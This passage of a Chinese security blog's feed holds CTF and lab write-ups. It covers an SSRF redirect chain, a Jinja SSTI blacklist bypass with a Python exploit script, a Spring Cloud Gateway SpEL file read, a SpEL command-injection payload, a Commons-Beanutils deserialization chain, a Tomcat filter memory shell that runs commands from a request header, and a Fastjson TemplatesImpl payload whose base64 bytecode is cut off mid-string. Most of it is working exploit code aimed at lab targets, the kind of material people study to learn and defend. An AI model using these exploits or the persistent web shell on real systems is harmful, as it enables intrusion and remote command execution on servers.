 self.end_headers()
 self.wfile.write(b&amp;#39;Redirecting...&amp;#39;)
 elif self.path == &amp;#39;/step3&amp;#39;:
 self.send_response(200)
 self.send_header(&amp;#39;Refresh&amp;#39;, &amp;#39;0; url=https://blog.p0l1st.top/step4&amp;#39;)
 self.end_headers()
 self.wfile.write(b&amp;#39;Redirecting...&amp;#39;)
 elif self.path == &amp;#39;/step4&amp;#39;:
 self.send_response(200)
 self.send_header(&amp;#39;Refresh&amp;#39;, &amp;#39;0; url=https://blog.p0l1st.top/step5&amp;#39;)
 self.end_headers()
 self.wfile.write(b&amp;#39;Redirecting...&amp;#39;)
 elif self.path == &amp;#39;/step5&amp;#39;:
 self.send_response(200)
 self.send_header(&amp;#39;Refresh&amp;#39;, &amp;#39;0; url=https://blog.p0l1st.top/step6&amp;#39;)
 self.end_headers()
 self.wfile.write(b&amp;#39;Redirecting...&amp;#39;)
 elif self.path == &amp;#39;/step6&amp;#39;:
 self.send_response(200)
 self.send_header(&amp;#39;Refresh&amp;#39;, &amp;#39;0; url=http://127.0.0.1:5000/_internal/secret&amp;#39;)
 self.end_headers()
 self.wfile.write(b&amp;#39;Final redirect...&amp;#39;)
 else:
 self.send_response(404)
 self.end_headers()
 self.wfile.write(b&amp;#39;Not Found&amp;#39;)

 def log_message(self, format, *args):
 print(f&amp;#34;LOG: {format % args}&amp;#34;)

if __name__ == &amp;#39;__main__&amp;#39;:
 server = HTTPServer((&amp;#39;0.0.0.0&amp;#39;, 8000), RefreshRedirectHandler)
 print(&amp;#39;Starting Refresh header redirect server on port 8000...&amp;#39;)
 server.serve_forever()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;访问/fetch?url=http://vps:port/start即可&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202510271107820.png' alt="image-20251027110736747"&gt;&lt;/p&gt;
&lt;p&gt;拿到Secret: 1140457d-a0b5-4e6d-a423-5a676e61992a&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;login?secret=1140457d-a0b5-4e6d-a423-5a676e61992a&amp;amp;username={%print(1)%}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;下面就需要绕ssti黑名单和长度限制&lt;/p&gt;
&lt;p&gt;这里过滤了config，那么就不能用config.update，如果要打继承链的话需要一个全局字典&lt;/p&gt;
&lt;p&gt;可以看到&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202510271108432.png' alt="image-20251027110816184"&gt;&lt;/p&gt;
&lt;p&gt;我们可以通过sset设置session中的键值对，再用sget获取session的值&lt;/p&gt;
&lt;p&gt;构造出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sget[&amp;#39;__globals__&amp;#39;][&amp;#39;read&amp;#39;](&amp;#39;/flag&amp;#39;)
#等价于read(&amp;#39;/flag&amp;#39;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;实际上就是通过globals获取到read函数，再通过read函数去读取/flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import re

url = &amp;#34;http://web-aff0e10d2f.challenge.xctf.org.cn/&amp;#34;
secret_key = &amp;#34;1140457d-a0b5-4e6d-a423-5a676e61992a&amp;#34;


def exp():
 login_url = url &amp;#43; &amp;#34;login&amp;#34;
 s = requests.session()

 payloads = [
 {&amp;#34;username&amp;#34;: &amp;#34;{%print sset(&amp;#39;g&amp;#39;,request.args.g)%}&amp;#34;, &amp;#34;g&amp;#34;: &amp;#34;__globals__&amp;#34;},
 {&amp;#34;username&amp;#34;: &amp;#34;{%print sset(&amp;#39;r&amp;#39;,request.args.r)%}&amp;#34;, &amp;#34;r&amp;#34;: &amp;#34;read&amp;#34;},
 {&amp;#34;username&amp;#34;: &amp;#34;{%print sset(&amp;#39;f&amp;#39;,request.args.f)%}&amp;#34;, &amp;#34;f&amp;#34;: &amp;#34;/flag&amp;#34;}
 ]

 for payload in payloads:
 s.get(login_url, params={&amp;#34;secret&amp;#34;: secret_key, **payload})

 payload4 = {
 &amp;#34;secret&amp;#34;: secret_key,
 &amp;#34;username&amp;#34;: &amp;#34;{%print sget[sget(&amp;#39;g&amp;#39;)][sget(&amp;#39;r&amp;#39;)](sget(&amp;#39;f&amp;#39;))%}&amp;#34;,
 }
 res = s.get(login_url, params=payload4)

 result = res.text
 print(result)

 if &amp;#34;flag{&amp;#34; in result:
 flag_match = re.search(r&amp;#34;flag\{[^}]&amp;#43;\}&amp;#34;, result)
 if flag_match:
 print(f&amp;#34;\n找到FLAG: {flag_match.group(0)}&amp;#34;)


if __name__ == &amp;#34;__main__&amp;#34;:
 exp()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202510271109514.png' alt="image-20251027110903309"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="ezcloud"&gt;&lt;span&gt;ezcloud&lt;/span&gt;
 &lt;a href="#ezcloud" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;扫目录发现有actuator接口泄露&lt;/p&gt;
&lt;p&gt;发现spring cloud getway，最近刚爆出SpeL漏洞&lt;/p&gt;
&lt;p&gt;然后参考https://rce.moe/2025/09/29/CVE-2025-41243/文章里面的文件读取即可读取flag&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202510271109933.png' alt="image-20251027110937674"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202510271109902.png' alt="image-20251027110953660"&gt;&lt;/p&gt;
&lt;p&gt;每次设置完路由post访问refresh进行更新&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202510271110197.png' alt="image-20251027111019968"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202510271110613.png' alt="image-20251027111031293"&gt;&lt;/p&gt;
&lt;p&gt;将路由设置到根目录后然后访问/webjars/flag&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202510271111833.png' alt="image-20251027111104591"&gt;&lt;/p&gt;</description></item><item><title>Polar靶场-Java</title><link>https://blog.p0l1st.top/post/polar%E9%9D%B6%E5%9C%BA-java/</link><pubDate>Thu, 14 Aug 2025 18:28:34 +0000</pubDate><author>p0l1st@venomsec.org (p0l1st)</author><guid>https://blog.p0l1st.top/post/polar%E9%9D%B6%E5%9C%BA-java/</guid><category domain="https://blog.p0l1st.top/categories/java%E5%AE%89%E5%85%A8/">Java安全</category><description>&lt;h1 class="heading-element" id="ezjava"&gt;&lt;span&gt;ezjava&lt;/span&gt;
 &lt;a href="#ezjava" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105238.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;spel表达式注入&lt;/p&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(&amp;#34;/bin/bash&amp;#34;, &amp;#34;-c&amp;#34;, &amp;#34;cat /app/flag.txt&amp;#34;).start().getInputStream(), &amp;#34;gbk&amp;#34;)).readLine()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105162.png' alt="img"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="cb链"&gt;&lt;span&gt;CB链&lt;/span&gt;
 &lt;a href="#cb%e9%93%be" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;pre&gt;&lt;code&gt; @RequestMapping({&amp;#34;/user&amp;#34;})
 @ResponseBody
 public String getUser(String user) throws Exception {
 byte[] userBytes = Tools.base64Decode(user);
 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(userBytes));
 User userObj = (User) in.readObject();
 return userObj.getUserNicename();
 }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;/user&lt;/code&gt;路由存在反序列化&lt;/p&gt;
&lt;p&gt;依赖是cb1.9.2 cc3.2.1&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105378.png' alt="image-20250710092013755"&gt;&lt;/p&gt;
&lt;p&gt;正常的话打CB链应该是这样的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1Exp {
 public static void main(String[] args) throws Exception {
 byte[] code = Files.readAllBytes(Paths.get(&amp;#34;E://Calc.class&amp;#34;));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,&amp;#34;_name&amp;#34;,&amp;#34;calc&amp;#34;);
 setFieldValue(templates,&amp;#34;_bytecodes&amp;#34;,new byte[][]{code});
 setFieldValue(templates,&amp;#34;_tfactory&amp;#34;,new TransformerFactoryImpl());
// templates.getOutputProperties();
 final BeanComparator beanComparator = new BeanComparator();
 final PriorityQueue&amp;lt;Object&amp;gt; queue = new PriorityQueue&amp;lt;Object&amp;gt;(2,beanComparator);
 queue.add(1);
 queue.add(1);
 setFieldValue(beanComparator,&amp;#34;property&amp;#34;,&amp;#34;outputProperties&amp;#34;);
 setFieldValue(queue,&amp;#34;queue&amp;#34;,new Object[]{templates,templates});

 serialize(queue);
// unserialize(&amp;#34;serb.bin&amp;#34;);

 }
 public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }
// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&amp;#34;serb.bin&amp;#34;));
// oos.writeObject(obj);
// }
public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;但是复现的环境不出网，所以只能打内存马&lt;/p&gt;
&lt;p&gt;先写一个类加载器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;

public class MyClassLoader extends AbstractTranslet {
 static{
 try{
 javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
 java.lang.reflect.Field r=request.getClass().getDeclaredField(&amp;#34;request&amp;#34;);
 r.setAccessible(true);
 org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
 javax.servlet.http.HttpSession session = request.getSession();
 String classData=request.getParameter(&amp;#34;classData&amp;#34;);
 System.out.println(&amp;#34;classData:&amp;#34;&amp;#43;classData);
 byte[] classBytes = Base64.getDecoder().decode(classData);
 java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(&amp;#34;defineClass&amp;#34;,new Class[]{byte[].class, int.class, int.class});
 defineClassMethod.setAccessible(true);
 Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
 cc.newInstance().equals(new Object[]{request,response,session});
 }catch(Exception e){
 e.printStackTrace();
 }
 }
 public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
 }
 public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {

 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;再写一个恶意类，将命令执行回显到response的header中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;

public class Memshell implements javax.servlet.Filter{
 private javax.servlet.http.HttpServletRequest request = null;
 private org.apache.catalina.connector.Response response = null;
 private javax.servlet.http.HttpSession session =null;

 @Override
 public void init(FilterConfig filterConfig) throws ServletException {
 }
 public void destroy() {}
 @Override
 public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
 javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
 javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
 javax.servlet.http.HttpSession session = request.getSession();
 String cmd = request.getHeader(&amp;#34;cmd&amp;#34;); //header cmd
 System.out.println(cmd);
 if (cmd != null) {

 response.setHeader(&amp;#34;START&amp;#34;, &amp;#34;OK&amp;#34;);
 // 使用 ProcessBuilder 执行命令
 Process process = new ProcessBuilder(cmd.split(&amp;#34;\\s&amp;#43;&amp;#34;))
 .redirectErrorStream(true)
 .start();

 // 获取命令执行的输入流
 InputStream inputStream = process.getInputStream();

 // 使用 Java 8 Stream 将输入流转换为字符串
 String result = new BufferedReader(new InputStreamReader(inputStream))
 .lines()
 .collect(Collectors.joining(System.lineSeparator()));
 System.out.println(&amp;#34;3&amp;#34;);
 response.setHeader(&amp;#34;RESULT&amp;#34;,result);

 } else {
 filterChain.doFilter(request, response);
 }
 }

 public boolean equals(Object obj) {
 Object[] context=(Object[]) obj;
 this.session = (javax.servlet.http.HttpSession ) context[2];
 this.response = (org.apache.catalina.connector.Response) context[1];
 this.request = (javax.servlet.http.HttpServletRequest) context[0];

 try {
 dynamicAddFilter(new Memshell(),&amp;#34;Shell&amp;#34;,&amp;#34;/*&amp;#34;,request);
 } catch (IllegalAccessException e) {
 e.printStackTrace();
 }

 return true;
 }

 public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
 javax.servlet.ServletContext servletContext=request.getServletContext();
 if (servletContext.getFilterRegistration(name) == null) {
 java.lang.reflect.Field contextField = null;
 org.apache.catalina.core.ApplicationContext applicationContext =null;
 org.apache.catalina.core.StandardContext standardContext=null;
 java.lang.reflect.Field stateField=null;
 javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

 try {
 contextField=servletContext.getClass().getDeclaredField(&amp;#34;context&amp;#34;);
 contextField.setAccessible(true);
 applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
 contextField=applicationContext.getClass().getDeclaredField(&amp;#34;context&amp;#34;);
 contextField.setAccessible(true);
 standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
 stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField(&amp;#34;state&amp;#34;);
 stateField.setAccessible(true);
 stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
 filterRegistration = servletContext.addFilter(name, filter);
 filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
 java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod(&amp;#34;filterStart&amp;#34;);
 filterStartMethod.setAccessible(true);
 filterStartMethod.invoke(standardContext, null);
 stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
 }catch (Exception e){
 }finally {
 stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
 }
 }
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;读取并base64输出内存马的内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Test {
 public static void main(String[] args) throws IOException {
 byte[] bytes = Files.readAllBytes(Paths.get(&amp;#34;D:\\Project\\JavaSec\\CB1\\target\\classes\\CB\\Memshell.class&amp;#34;));
 String classData = Base64.getEncoder().encodeToString(bytes);
 System.out.println(classData);

 }

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;通过CB链加载MyClassLoader，然后classData就是我们的内存马&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105387.png' alt="image-20250710113012206"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="fastjson"&gt;&lt;span&gt;Fastjson&lt;/span&gt;
 &lt;a href="#fastjson" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;fastjson1.2.24&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class JsonController {
 @RequestMapping(value = {&amp;#34;/&amp;#34;}, method = {RequestMethod.GET}, produces = {&amp;#34;application/json;charset=UTF-8&amp;#34;})
 @ResponseBody
 public Object getUser() {
 User user = new User();
 user.setName(&amp;#34;Polar D&amp;amp;N ~!&amp;#34;);
 user.setId(&amp;#34;2022&amp;#34;);
 return user;
 }

 @RequestMapping(value = {&amp;#34;/&amp;#34;}, method = {RequestMethod.POST}, produces = {&amp;#34;application/json;charset=UTF-8&amp;#34;})
 @ResponseBody
 public Object setUser(@RequestBody String jsonString) {
 System.out.println(jsonString);
 JSONObject jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField);
 User user = (User) jsonObject.toJavaObject(User.class);
 user.setId(&amp;#34;2023&amp;#34;);
 return user;
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;拿payload直接打，不出网打&lt;code&gt;TemplatesImpl&lt;/code&gt;内存马&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class MemShe extends AbstractTranslet {
 public MemShe() {
 try {
 org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
 javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
 javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
 String[] cmd = new String[]{&amp;#34;bash&amp;#34;, &amp;#34;-c&amp;#34;, httprequest.getHeader(&amp;#34;cmd&amp;#34;)};
 byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(&amp;#34;\\A&amp;#34;).next().getBytes();
 httpresponse.getWriter().write(new String(result));
 httpresponse.getWriter().flush();
 httpresponse.getWriter().close();
 } catch (IOException e) {
 e.printStackTrace();
 }
 }

 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws
 TransletException {
 }

 @Override
 public void transform(DOM document, DTMAxisIterator iterator,
 SerializationHandler handler) throws TransletException {
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{	
 &amp;#34;@type&amp;#34;:&amp;#34;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&amp;#34;,
 &amp;#34;_bytecodes&amp;#34;:[&amp;#34;yv66vgAAADQAhgoAHQBDCgBEAEUHAEYKAAMARwoAAwBIBwBJCABKCABLCAApCwBMAE0HAE4HAE8KAAwAUAoADABRCgBSAFMKAAsAVAgAVQoACwBWCgALAFcKAAYAWAsAWQBaCgAGAFsKAFwAXQoAXABeCgBcAF8HAGAKABoAYQcAYgcAYwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBABFyZXF1ZXN0QXR0cmlidXRlcwEAO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQALaHR0cHJlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAxodHRwcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQADY21kAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAAltCAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEABHRoaXMBAAtMQ0IvTWVtU2hlOwEADVN0YWNrTWFwVGFibGUHAGIHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAZAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAC01lbVNoZS5qYXZhDAAeAB8HAGUMAGYAZwEAQG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMMAGgAaQwAagBrAQAQamF2YS9sYW5nL1N0cmluZwEABGJhc2gBAAItYwcAbAwAbQBuAQARamF2YS91dGlsL1NjYW5uZXIBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIMAB4AbwwAcABxBwByDABzAHQMAB4AdQEAAlxBDAB2AHcMAHgAeQwAegB7BwB8DAB9AH4MAB4AfwcAgAwAgQCCDACDAB8MAIQAHwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAIUAHwEACUNCL01lbVNoZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABRnZXRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBAApnZXRSZXF1ZXN0AQApKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAKigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGdldEJ5dGVzAQAEKClbQgEAJmphdmF4